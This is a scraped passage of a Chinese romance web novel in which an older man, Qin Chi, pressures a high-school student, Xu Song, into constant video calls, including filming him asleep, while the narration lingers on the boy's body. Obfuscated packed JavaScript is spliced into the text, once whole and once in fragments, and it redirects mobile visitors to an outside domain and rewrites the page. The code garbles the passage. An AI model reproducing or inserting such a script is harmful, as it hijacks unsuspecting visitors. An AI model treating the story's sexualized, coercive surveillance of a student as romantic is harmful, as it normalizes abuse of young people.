l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14674019|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但在某种程度上,他也完成了一半——至少没有一直跟秦弛保持通话了。 第二天中午放学,看见许颂没再掏出手机跟秦弛通话也不见秦弛一通电话打过来步步紧逼,凌航一脸赞扬地薅许颂的脑袋,并不知道许颂答应了秦弛其他的条件。 回到家,许颂在房间翻开手机给秦弛发消息时,不禁想起了早上的视频通话。 因为昨晚答应了秦弛以后在家跟对方通话都要开视频,早上起床给秦弛发完早安后对方便要求他履行承诺了。 彼时许颂刚起床从被窝里出来头发被静电电得凌乱炸开,眼睛也困倦地撑着,自然不可能答应,但秦弛直接将通话打过来,许颂又不好意思直接挂断。 毕竟秦弛真的很难哄。 许颂想到昨晚认真地评价道。 所以他先关掉镜头把通话接了,然而这个做法却引起秦弛强烈地不满。 到最后许颂也只能把镜头打开,斜斜照着自己下半张脸,毫无顾忌地将白皙的脖颈和单薄的下半身暴露在镜头下。 少年穿着灰色毛绒睡衣,劲瘦的腰肢伴随着行走的动作在宽松睡衣下晃动,激发着让人握上去的欲望。 秦弛呼吸重了几分,视线从许颂衣领下若隐若现的锁骨落在被灰色睡衣遮盖的平坦胸腔。 最后才舍得将实现落在许颂身后晃动的背景上。 许颂这时已经从房间转移到了客卫。 好在李洁和许高富经常起得比许颂晚,所以他才能早上肆无忌惮地举着手机在客卫晃,只是刷牙洗漱完,许颂也没有将整张脸露在镜头中,只害羞了露出一双眼睛看秦弛。 好在对方并不强求他露出一张脸,不然许颂真的会抗拒地将视频通话挂断了。 家里的冰箱经常备着速冻包子和水饺方便许颂做早餐,这也是两位大人不怎么早起的原因。 为了方便许颂将手机架在桌边,正好将他拆包装的动作照了进去,刚从急冻取出来的包子冰凉无比,手指触碰上去很快冻红了。 秦弛其实很不喜欢许颂吃速冻食品,但打钱让许颂出门吃许颂不乐意,只能阴沉沉地看着。 包子煮熟了,李洁和许高富也快起来了,所以许颂便想要挂断通话了,但秦弛磨蹭很久才情愿挂断。其实这个时候起许颂便发觉自己做了一个错误的决定。 他以为挂断通话的决定权在自己手上但每次到最后秦弛都会反客为主,所以到了中午许颂便不太想视频通话了。 于是这个时候的秦弛会变得很弱势很卑微,不断地恳求诱哄许颂直到达成目的,而到挂断通话时,两人的角色又重新调转。 24.凝视 许颂是一个很容易被左右的人,如此反复消磨下来,他不仅没有坚定自己的态度,反而潜移默化地适应了。 当然,许颂也不得不承认自己是受了某些“甜言蜜语”的影响,秦弛总是喜欢说一些好听的话,即便他潦草地写出一行字,秦弛也能从一撇一捺中找出许颂的优点。 没人能抵挡得住的夸赞。 这是一种认可和喜爱的表现,是许颂从此以往缺少的部分。 即便他认为自己的字并不那么好看,相貌也平平无奇,头脑也不那么聪慧,可当有人喜欢并接受他的木讷、笨拙时,他的心态也自然而然地变得不一样了,那些自卑否定的想法会被另一种感觉代替,产生出丰盈的底气。 于是在近一周的视频通话下来,许颂肉眼可见地自信了些。 他不会再那么拘束地露在镜头前,偶尔会自然地做出一些暴露本性的小动作。 有时候是坐着晃腿,脚踝有一下没一下地卡在凳子边缘,脑袋跟着动作一起动;有时候是抓着按动笔慢吞吞地上下按,在发出噪音时,警惕地观察屏幕中办公的秦弛,对上视线后不好意思地埋下头写字。 秦弛几乎被这些动作勾得死死的,深夜将录屏打开反复地观赏。 这个世界上不会有任何东西能够比许颂更要令秦弛着迷。 秦弛很相信第一眼所带来的感觉。 能够在第一瞬间令他迸发感兴趣的事物,代表着这是上天钦定的、就该属于他的东西。 就如童年时那只躲藏车轮下、凶蛮警惕的暹罗猫,再锋利不屈,最终也温顺地归顺在了他的身边,即便濒死的最后一刻也会拖着残破的身躯停留在他的身旁,是完完全全属于他、依靠他的宠物。 许颂有时候和它很像,但又很不一样。 许颂的脾气过于逆来顺受,似乎任何人都能从头他身边剥削离去,可浮于表面的顺从中隐隐藏一道强而坚韧的戒备,他从来没有表现出来。 这会给秦弛释放出错误的信号,是比那只暹罗猫还要令秦弛束手无策的东西。 …… 元旦节日高三学生经过调休拥有了一天假期,于是三十一号上午凌航便约着许颂晚上一起去城市广场跨年看烟花表演。 然而秦弛中午知道后有些不乐意了,这意味着许颂当晚将无法跟他视频连线。 许颂窝在被子里,碎发因为静电凌乱地贴在附近的布料边。 他没有戴着眼镜转进被子里,于是手机便抱得很前,那双水亮的眼睛微微睁圆,带着歉意望着秦弛。 他温热的手将手机捂得暖洋洋,有些小声地解释:“因为好久没有跟凌航一起出去玩了,中午就直接答应凌航了,不是不想跟哥哥一起跨年的……” 或许是被秦弛潜移默化,也或许是无师自通,许颂竟然学会了卖可怜,低弱的语气和委屈的神态几乎惟妙惟俏。 秦弛手臂间的青筋突兀地攀延着,他捏着手机,灼热的气息打在屏幕中许颂无辜的脸颊上,深邃眼眸直直注视了许颂接近三秒,忽得冷静下来像是妥协了,甚至有些贴心地说:“那算了,颂颂去陪朋友吧,晚上我一个人跨年也没关系。” 许颂听着对方失落的语调心瞬间变得软软的,但很快又听见秦弛话锋一转,带着一丝丝命令的意思:“既然颂颂晚上不能陪我视频了,那今天就开着视频午休补回来吧。” 许颂并没有第一时间反应过来秦弛的话,他眼睛轻轻眨了两下,而后一股热从脖子绕上耳朵,舌头跟着打结:“开、开视频还怎么午休。” “颂颂把手机架在床边就好了。”秦弛道。 许颂简直无法想象那画面,就仿佛在旁边架了一个摄像头一样,心里无时无刻能感受到一股被注视的错觉,这怎么可能会睡得着? 但他觑了眼秦弛的表情,并没有开玩笑的意思,继续许颂知道秦弛每次提要求都是认真的。 他在原地挣扎了下,小声说:“可是这样很奇怪。” 秦弛眉梢失落地垂着,低微的语气和许颂起初卖可怜时如出一辙:“一起跨年不行,这样也不行吗?” 许颂犹豫地扯着毛衣袖子,不敢看秦弛的神态。 “我会把声音关掉,不会打扰颂颂休息的,颂颂就当是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14700417|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我陪你午休好了。”秦弛又卑微地补充。 许颂根本招架不住秦弛这套招数,几乎每次都会败下阵了,尤其是这段时间异常经常。 他艰难在原地挪动了两下,最后不自在地说好吧。 许颂的休息时间很规律,午休一般都是从一点十分睡到一点五十五分起来。 他平时入睡得很快,但今天因为心里作用,一直感应着旁边的手机。 许颂本以为自己会毫无睡意地闭眼消磨掉午休的时间,但秦弛真的没有打扰他并且关掉了声音,所以在一片安静间,他生物钟到了,眼皮便会控制不住打架。 因为不自在,许颂原本是背对着手机睡的,秦弛对此并没有表示不满,但睡着后,许颂便有些不自觉地开始翻身了。 他睡觉喜欢把被子拉在脸颊上,遮住下巴鼻尖,只露出一截鼻梁和禁闭的双眼。 蓬松的黑发随着他的动作侧落在眉梢间,他整个人侧躺在镜头前,脑袋在枕头边微微下陷,毫无防备地熟睡着。 秦弛目光灼灼注视着,打开声音轻轻叫了许颂一声,那双温顺的眉眼只是轻微地动了下,很快没了反应。 秦弛很确切许颂已经睡了过去,重新关上声音,终于能够肆无忌惮地将自己积堆已久的欲念,他的视线在许颂身上留念往返,透过厚重的被褥肖想许颂身体蜷缩的模样,从脚踝到膝盖、从胯骨到弯曲的脊骨…… 秦弛肆意地臆想许颂睡觉的动作,愈渐控制不住想要触摸对方的欲望。 他的神经亢奋的颤栗着,但却也只能在此戛然而止,无法在更深入地将人抓进怀里,于是欲望便无法得到纾解,与无数快感堆积着,转为病态、阴沉的凝视。 许颂在睡梦遇到了一条漆黑的大蛇,长尾将束缚着他的双腿,长躯卷动着他腰胸。那冰冷的蛇吻在他耳后蹭了蹭,而后又从他的脸颊沿着侧颈一点点擦过落在薄弱地锁骨旁,在他恐惧地视线下露出锋利的长齿狠狠打下标记。 他挣扎,便被束缚得越紧,最终在喘不上气间猛然清醒过来,茫然地睁开眼与屏幕中那双漆黑阴冷的眼眸直直对上视线。